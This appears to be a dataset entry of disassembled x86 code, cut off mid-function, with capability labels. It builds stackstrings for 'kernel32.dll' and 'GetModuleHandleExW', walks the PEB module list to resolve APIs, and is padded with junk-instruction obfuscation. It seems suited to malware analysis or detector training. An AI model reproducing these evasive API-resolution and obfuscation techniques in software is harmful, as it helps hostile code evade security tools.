Function at 0x509104
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
push ebx
push esi
push edi
push eax
push eax
add esp, 4
or eax, 0x43d8
pop eax
push edi
push eax
add esp, 4
add edi, 0xf369
xor edi, 0x3b1
or edi, 0x44df
pop edi
push edx
add edx, 0x17aef
and edx, 0x6c7
pop edx
mov eax, 0x6b
mov word [ebp - 0x2b0], ax
mov ecx, 0x65
mov word [ebp - 0x2ae], cx
mov edx, 0x72
mov word [ebp - 0x2ac], dx
mov eax, 0x6e
mov word [ebp - 0x2aa], ax
mov ecx, 0x65
mov word [ebp - 0x2a8], cx
mov edx, 0x6c
mov word [ebp - 0x2a6], dx
mov eax, 0x33
mov word [ebp - 0x2a4], ax
mov ecx, 0x32
mov word [ebp - 0x2a2], cx
mov edx, 0x2e
mov word [ebp - 0x2a0], dx
mov eax, 0x64
mov word [ebp - 0x29e], ax
mov ecx, 0x6c
mov word [ebp - 0x29c], cx
mov edx, 0x6c
mov word [ebp - 0x29a], dx
xor eax, eax
mov word [ebp - 0x298], ax
mov dword [ebp - 0x1b0], 0
push eax
sub eax, 0x323c
jmp 0x5091f5
call 0x509201
add byte [edx], dh
inc ebx
inc ecx
dec esi
xor ecx, dword [edi - 0x7d]
les eax, [eax + ebx*2]
push eax
push ebx
add esp, 4
add eax, 0x1111a
add eax, 0xb02c
pop eax
mov byte [ebp - 0x198], 0x47
mov byte [ebp - 0x197], 0x65
mov byte [ebp - 0x196], 0x74
mov byte [ebp - 0x195], 0x4d
mov byte [ebp - 0x194], 0x6f
mov byte [ebp - 0x193], 0x64
mov byte [ebp - 0x192], 0x75
mov byte [ebp - 0x191], 0x6c
mov byte [ebp - 0x190], 0x65
mov byte [ebp - 0x18f], 0x48
mov byte [ebp - 0x18e], 0x61
mov byte [ebp - 0x18d], 0x6e
mov byte [ebp - 0x18c], 0x64
mov byte [ebp - 0x18b], 0x6c
mov byte [ebp - 0x18a], 0x65
mov byte [ebp - 0x189], 0x45
mov byte [ebp - 0x188], 0x78
mov byte [ebp - 0x187], 0x57
mov byte [ebp - 0x186], 0
mov ecx, dword [ebp - 0x4b0]
mov dword [ebp - 0x1b4], ecx
push edi
push edi
add esp, 4
and edi, 0x106d3
add edi, 0x12bfc
sub edi, 0x15a98
pop edi
push esi
push ecx
add esp, 4
add esi, 0x17c0
pop esi
push ebx
and ebx, 0xf8c6
sub ebx, 0x33a6
pop ebx
push ebx
sub ebx, 0x10b97
add ebx, 0xa322
or ebx, 0x353a
pop ebx
push ebx
jmp 0x5092f8
sub ebx, 0xcbf8
jmp 0x509305
or ebx, 0x8300
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x434], edx
push ecx
xor ecx, 0x9121
and ecx, 0xae29
pop ecx
push edx
push ebx
add esp, 4
and edx, 0x5c08
sub edx, 0xf6a9
pop edx
push esi
push ecx
add esp, 4
or esi, 0x2dfe
jmp 0x50934a
pop esi
mov eax, dword [ebp - 0x434]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x480], ecx
push ecx
push eax
add esp, 4
add ecx, 0x613b
pop ecx
push esi
push edi
add esp, 4
add esi, 0xbc35
xor esi, 0xb213
and esi, 0x38c2
pop esi
push ebx
xor ebx, 0x8bf4
and ebx, 0xfde3
pop ebx
mov edx, dword [ebp - 0x480]
mov dword [ebp - 0x368], edx
cmp dword [ebp - 0x368], 0
jne 0x5093df
push ecx
push ecx
add esp, 4
add ecx, 0x4632
pop ecx
push ebx
or ebx, 0xf1c1
add ebx, 0x11415
sub ebx, 0x223f
xor ebx, 0x14d09
pop ebx
push eax
push esi
add esp, 4
and eax, 0x8169
pop eax
mov dword [ebp - 0x6c], 0
jmp 0x50976b
push ecx
push edx
add esp, 4
or ecx, 0x675
pop ecx
push ebx
push esi
add esp, 4
and ebx, 0x15bb5
or ebx, 0x165ab
pop ebx
push ebx
add ebx, 0x103bf
sub ebx, 0x1158d
and ebx, 0x16393
pop ebx
mov eax, dword [ebp - 0x368]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1ec], edx
cmp dword [ebp - 0x1ec], 0
jne 0x50946a
push eax
or eax, 0x175de
sub eax, 0xc23a
pop eax
push ecx
jmp 0x509441
add ecx, 0x180f0
call 0x509454
add byte [edi + 0x37], al
xor cl, byte [edi + 0x3b]
inc esi
inc esi
add esp, 4
add ecx, 0x162ef
pop ecx
mov dword [ebp - 0x6c], 0
jmp 0x50976b
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0xc4], eax
push edx
add edx, 0x16d99
pop edx
push ecx
or ecx, 0x16499
pop ecx
push esi
and esi, 0xc029
pop esi
push ebx
xor ebx, 0x11c8e
pop ebx
push eax
push eax
add esp, 4
and eax, 0xbe59
or eax, 0x6ca7
pop eax
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x1e8], ecx
mov edx, dword [ebp - 0xc4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1e4], eax
push ecx
xor ecx, 0x64d8
jmp 0x5094d0
xor ecx, 0x12010
pop ecx
push ebx
push edi
add esp, 4
and ebx, 0x134fc
or ebx, 0xaed1
sub ebx, 0xa06c
add ebx, 0x10565
pop ebx
xor ecx, ecx
mov word [ebp - 0x54], cx
xor edx, edx
mov word [ebp - 8], dx
push eax
and eax, 0x15d13
or eax, 0x12bf6
sub eax, 0xc8d7
pop eax
push edx
push ebx
add esp, 4
call 0x509527
add byte [ebx], dh
dec ecx
dec ecx
dec edi
dec ebx
cmp eax, 0x4c48335
pop edx
push edi
or edi, 0x17af2
pop edi
mov eax, dword [ebp - 0x1e4]
mov cx, word [eax]
mov word [ebp - 0x288], cx
mov edx, dword [ebp - 0x1e4]
add edx, 2
mov dword [ebp - 0x1e4], edx
mov ax, word [ebp - 0x288]
mov word [ebp - 0x54], ax
push edi
push edx
add esp, 4
add edi, 0x15036
pop edi
push edx
or edx, 0xddb
add edx, 0x14d55
call 0x509585
add byte [edi + 0x40], al
cmp edi, dword [edi]
dec ecx
xor cl, byte [eax + 0x48]
dec esi
add esp, 4
sub edx, 0x5eac
pop edx
mov ecx, dword [ebp - 0x1e8]
mov dx, word [ecx]
mov word [ebp - 0x28a], dx
mov eax, dword [ebp - 0x1e8]
add eax, 2
mov dword [ebp - 0x1e8], eax
mov cx, word [ebp - 0x28a]
mov word [ebp - 8], cx
push edi
call 0x5095ca
add byte [0x4a3d473a], dh
xor al, byte [eax + 0x38]
cmp dword [ebp - 0x7d], eax
les eax, [edi + ebx*2]
push esi
xor esi, 0x8830
sub esi, 0xb994
call 0x5095e7
add byte [edx + 0x32], al
cmp eax, dword [ebx + 0x4b]
dec edx
add esp, 4
pop esi
movzx edx, word [ebp - 8]
test edx, edx
jne 0x509608
movzx eax, word [ebp - 0x54]
movzx ecx, word [ebp - 8]
sub eax, ecx
mov dword [ebp - 0x370], eax
jmp 0x50968b
movzx edx, word [ebp - 0x54]
movzx eax, word [ebp - 8]
cmp edx, eax
je 0x509501
movzx ecx, word [ebp - 0x54]
xor ecx, 0x20
movzx edx, word [ebp - 8]
cmp ecx, edx
je 0x509501
push ebx
and ebx, 0x628e
pop ebx
push ecx
push edi
add esp, 4
call 0x509647
add byte [0x4d3a4334], bh
cmp dword [ebx + 0x50], ecx
inc ecx
add esp, 4
xor ecx, 0x94e7
sub ecx, 0x74c0
and ecx, 0xcba7
pop ecx
movzx eax, word [ebp - 0x54]
movzx ecx, word [ebp - 8]
cmp eax, ecx
jge 0x509675
mov dword [ebp - 0x36c], 0xffffffff
jmp 0x50967f
mov dword [ebp - 0x36c], 1
mov edx, dword [ebp - 0x36c]
mov dword [ebp - 0x370], edx
cmp dword [ebp - 0x370], 0
jne 0x5096d4
push eax
push edi
add esp, 4
call 0x5096a8
add byte [ecx], bh
dec ebp
push eax
cmp al, 0x33
aas
cmp bh, byte [edi]
add esp, 4
and eax, 0x3398
add eax, 0xa9c9
or eax, 0x9ee5
pop eax
push edx
or edx, 0x11929
pop edx
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x6c], eax
jmp 0x50976b
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx]
mov dword [ebp - 0xc4], edx
push eax
add eax, 0x6492
pop eax
push edx
push ebx
add esp, 4
sub edx, 0x313e
and edx, 0xcef2
sub edx, 0xc40a
pop edx
push ebx
push eax
add esp, 4
and ebx, 0x14de
xor ebx, 0xe8d7
pop ebx
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x1ec]
je 0x509732
mov ecx, dword [ebp - 0xc4]
cmp dword [ecx + 0x30], 0
jne 0x509476
push ebx
add ebx, 0x548d
pop ebx
push esi
push ebx
add esp, 4
or esi, 0x3165
pop esi
push ebx
sub ebx, 0x9859
pop ebx
push edi
add edi, 0x13c1b
pop edi
push edi
xor edi, 0x522b
and edi, 0xad4b
pop edi
mov dword [ebp - 0x6c], 0
cmp dword [ebp - 0x6c], 0
jne 0x50a420
push ebx
push ebx
add esp, 4
sub ebx, 0x179f4
sub ebx, 0x165c2
pop ebx
push eax
push edi
add esp, 4
and eax, 0x3a99
add eax, 0x4601
pop eax
push ecx
jmp 0x5097a0
or ecx, 0xac6d
pop ecx
mov edx, 0x6b
mov word [ebp - 0x3bc], dx
mov eax, 0x65
mov word [ebp - 0x3ba], ax
mov ecx, 0x72
mov word [ebp - 0x3b8], cx
mov edx, 0x6e